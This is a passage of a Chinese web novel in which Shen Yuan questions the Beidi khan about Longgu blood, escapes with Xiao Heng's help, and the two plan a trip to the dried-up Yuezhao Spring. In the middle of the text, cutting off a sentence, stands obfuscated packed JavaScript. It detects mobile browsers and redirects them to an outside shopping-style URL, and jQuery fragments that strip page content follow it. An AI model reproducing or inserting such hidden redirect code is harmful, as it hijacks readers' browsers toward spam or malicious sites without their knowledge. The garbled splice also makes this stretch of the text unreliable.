帐帘被风吹起,里面的烛火晃了一下,借着那道间隙,她看清了帐里的人。
他披着一件深色大氅,脸被火光照得半明半暗,眼角细纹和颧骨斑点一起见证风沙磨过的粗粝。
沈鸢被带入帐中,这里的火盆烧得很旺,连帐帘都要厚实不少,整个人一下子暖和起来,可是她一点都不敢放松警惕。
佩刀汉子将人带到,恭恭敬敬唤了声“可汗”。
她听懂了,心沉了下去。
这运气也太差了。
龙骨血的消息还没有探到,就见到了北狄可汗阿史那,边上还有个武功奇高的人盯着,跑都没法跑!
余光打量整座帐子,她在寻找着逃的路线。
苍老声音再次响起,这次不是北狄话,竟是字正腔圆的大晟语言。
“你是大晟人?”
沈鸢点点头,头一回发现这位可汗的眼睛是浅灰色的,像被月光洗过似的,沉静温和。
怎么?这人眼里竟没有杀意?
“既是大晟人,来这里做什么?”
“我……”沈鸢陷入犹豫。
她本想说自己是被几个北狄的兵带来的——事实本就是如此。可迎着那双浅灰双瞳,她鬼使神差地说:“我来打听个东西。”
反正今天怎么都没法安然退了,倒不如直接一些,问个清楚。
“什么?”
“龙骨血。”
阿史那的目光变沉了,本就明显的眉心纹路更深地刻在双眉中间。不仅是他,就连边上那个能勉强听懂大晟语的佩刀之人,也紧紧凝视着沈鸢。
明明火盆里还溅着火星子,可她觉得室温一下子降了不少。
寂静帐内只听见风在外刮擦的声音。
“你找龙骨血做什么?”
“救命。”沈鸢伸出手,“我中了毒,需要龙骨血。不信的话,你可以搭我脉看看。”
佩刀汉子冰凉的手指在她腕上探了数息,眉头瞬间皱了起来,又探了探,这次停留的时间许久,终于点了点头。
阿史那没有说话,背着手在沈鸢面前来回走了两步,忽然停下。
“龙骨血在月照泉。”
月照泉?沈鸢没想到这位可汗如此爽快地告诉了自己,惊喜之外,警惕占了上风。
“为何告诉我?”
“告诉你,并不代表你就能拿到想要的东西。月照泉早已枯竭,如今我们都叫它鬼眼泉,因为去那里采龙骨血的人,九死一生。”
沈鸢陷入沉默。
难怪他愿意如此大方地说出龙骨血所在,因为笃定自己拿不到。
可是,摄政王不是与北狄交易,用寒髓草换龙骨血吗?
她不由问:“你们北狄人也无法拿到龙骨血?”
“我方才说了,九死一生。”阿史那脸上露出凄凉笑意,“总有人能活着回来。”
浅灰色瞳仁像冻了冰的湖面,裂了缝,里头的温度还是刺骨的凉。这抹神情叫人震颤。
沈鸢明白了。
为了寒髓草,他们不得不冒着生命危险去采龙骨血。
以少数人的性命去换整个北狄的希望,他们没得选。
那她呢?
月照泉如此凶险,她有命能拿到龙骨血吗?
沉思间,耳里一声叹:“消息已告诉你了。你可以走了。”
她猛地抬头,不敢相信地看着阿史那。
那人已背对自己,摆出不想说话的样子。
这就放她走了?
小心翼翼看了眼边上的佩刀汉子,他掀了帘帐,用眼神示意着。
沈鸢那叫一个飞快,赶紧开溜。
直到跑出很久,才喘上一口气,摸着发凉手心打量自己所在位置。
糟糕,好像跑到了营地深处,分不清东南西北,不知道该往哪儿走。
一队巡逻的兵自不远处传来脚步声响,她转身窜入一个帐子,里面没有光亮,黑沉沉的,想来无人。
没想到黑暗中,一只手捂住了自己的嘴。
沈鸢心底升腾出杀意,短剑刹时就要刺下去,耳畔传来一个熟悉的声音。
“是我。”
她愣住了。
萧珩?他怎么会来?
唇边的手掌落了下来,她听见那人说:“我带你走。”
语声低柔,像落在脸颊的羽毛,让人心头酥痒。
月光从云缝里漏下来,在沙地上铺了一层薄薄的白。两人穿过营帐间的窄道,沈鸢的靴子踩在他落脚过的地方,她忽然发现两人步伐如此一致。明明没有商量过,却好像已经一起走过很多次了。
风从北面吹来,卷起一阵细沙,他们沙地上的影子在风中乱了,时而交错着,时而分开着,可是下一次风来时,那双影子还是相互靠近甚至依偎。
身后营地的灯火越来越小,最后缩成一片暗红色的斑点,贴在灰蒙蒙的地平线上。
天开始亮了。
沈鸢精疲力尽地坐在背风的土丘前,喝着那人递来的水囊。
“谢了。”没说是谢这水,还是谢他孤身来救。
她一直觉得自己运气很差,但现在忽然觉得,好运还是舍得眷顾她。
萧珩没说什么,盘腿坐在边上,一会儿看沈鸢大口喝水的样子,一会儿看看天际的亮色。
上次去临漳城的路上,他一人看了日出。
如今多了一人。
朝霞同时披在两人肩头,这种感觉是前所未有的踏实。
沈鸢将水喝了大半,开始讲自己在北狄军营发生的事。
“月照泉?鬼眼泉?”连萧珩都听得呆住了。
“如今的月照泉,想进去采龙骨血等若九死一生。那个可汗的原话,就是这么说的。”
“你可曾听过一条路,叫寒关道?”
“没有。”沈鸢茫然摇头。
“那是前朝时开辟的一条商路,是连陲镇出关后往西北的那段陆路,过碎叶谷、月照泉,直抵北狄王庭所在的金帐原。再加上从临漳城出发至连陲镇的水运,可谓水陆相连,两邦商贸频繁。那时的月照泉,水波荡漾,周边绿意昂然,可惜后来,随着前朝覆灭,月照泉在一夜之间干涸,没了水源,寒关道难以运转,便逐渐废弃了。”
“月照泉在一夜之间干涸?这是怎么回事?”
“不知道,这是个谜。这些年来我听过一些传说,但流传至今版本极多,不知真假。但有一个说法流传度最高,最为可信。”
“说来听听。”
“当年寒关道得以开辟,离不开前朝公主德英一力推动。有人说她在月照泉布有机关,她身死之时,动用了机关,自此月照泉不复往昔生机,大晟与北狄关系也一下子降至冰点。两邦之间再无往来,甚至多年兵戈相向。”
“这个说法确实可信。”沈鸢若有所思看着天际陡然跳出的红日,脑中恍惚闪过“德英”这个名字。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720491|208618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
本想说“那个女人怎么这么狠”,但话到嘴边变成了另一个念头:能做到这一步的人,在那一刻该有多痛。
建寒关道的是她,毁寒关道的也是她,如今害自己拿不到龙骨血的也是她。
可是沈鸢心里生不出恨意。
一个人清醒地知道自己在做什么,不问过往以后,只论今朝。——她似乎从德英那个女人身上学了一课。
“等一下,德英这个名字是不是有点耳熟?”沈鸢使劲回忆着,忽然想到了另一事。
清风寨出事之后,她查过玄铁令。因为想看看大当家用生命护着的东西,究竟是什么。由此听说过德英这个名字。
原来那枚玄铁令就出自她之手。听闻玄铁令可以开启前朝兵库,难怪引得众人觊觎。
如此看来……沈鸢瞳孔骤缩:“德英还留有后手!她能将玄铁令留传,可见心里极度不甘,试图借后人之手替己报仇。那么月照泉,也极有可能还有重启的可能性!”
等到那时,再也不必为了龙骨血九死一生。
寒关道也能再现,两邦恢复商贸,北狄不必受寒髓草困扰,摄政王的算盘也就落空了!
想到这里,她跃跃欲试:“我得探一次月照泉,找找那里的机关。”
“太危险了。”萧珩皱了皱眉,忽而眉头缓缓展开,“不过,或许可行。”
眼眸沉沉,脑中思绪飘回到了半夜时刻,他暗探北狄军营那会儿。
虽有边防资料,但并不详细,只能粗粗了解军营外围的布阵。
一阵躲闪,他最先躲进的是一个被闲置的帐子,看起来似是仓库。
里面堆了不少东西,多是发黄的文书卷轴之类,他隐匿在其中,透过缝隙看见有小兵进来随意抱走了一叠。
帐外守夜之人面前,火盆一下子烧亮了,没用的卷轴被丢进里面,用来燃烧取暖。他在火光中看见一幅散开的画。
上面画着个宫装女子,衣上所绘,是前朝所崇尚的繁复花纹。赤金为底、上绣翟纹,领口和袖缘都有云霞纹,显得雍容华贵——那不是寻常宫女能穿的。
她的脸很年轻,眼神清冷,嘴角没什么笑意,唯有眼角下方那颗红色泪痣,让这张脸多了几分生动气息。像被谁轻轻点了一笔朱砂。
萧珩当时盯着那颗泪痣看了很久,直到整幅画卷被收起,丢进火盆,女子容颜灰飞烟灭,却与他心底最深处那张脸融在一起。
沈鸢,可能是德英之后。这个念头落下,他震颤之余,又觉得在情理之中。难怪那位北狄可汗如此轻易放她离开,如今想来恐怕别有用心。
沉思中抬眸,清晰面容凑近,沈鸢朝着自己挥手:“发什么呆呢?”
“我在想,我们什么时候去月照泉探探。”他深深看着面前的红色泪痣,那泪痣在漫天霞彩中显得如此夺目。
“你也要去?”
“那是自然。有你的地方便有我。”
沈鸢脸颊温度蓦地升了起来,她别过头,往旁边挪了挪身子。
“都说了那地方凶险的很,你还非要去。事先声明,到了那里得听我指挥。”
“好。”萧珩笑了,“不过不能急着去,先回趟边陲镇,与苏少帮主汇合,将物资准备妥当才行。”
无论如何,他们一起去。
两人齐齐从土丘站起,风仍从北面吹来,带着细沙和太阳升起后的热度,他们的影子在沙地上往同一个方向延伸。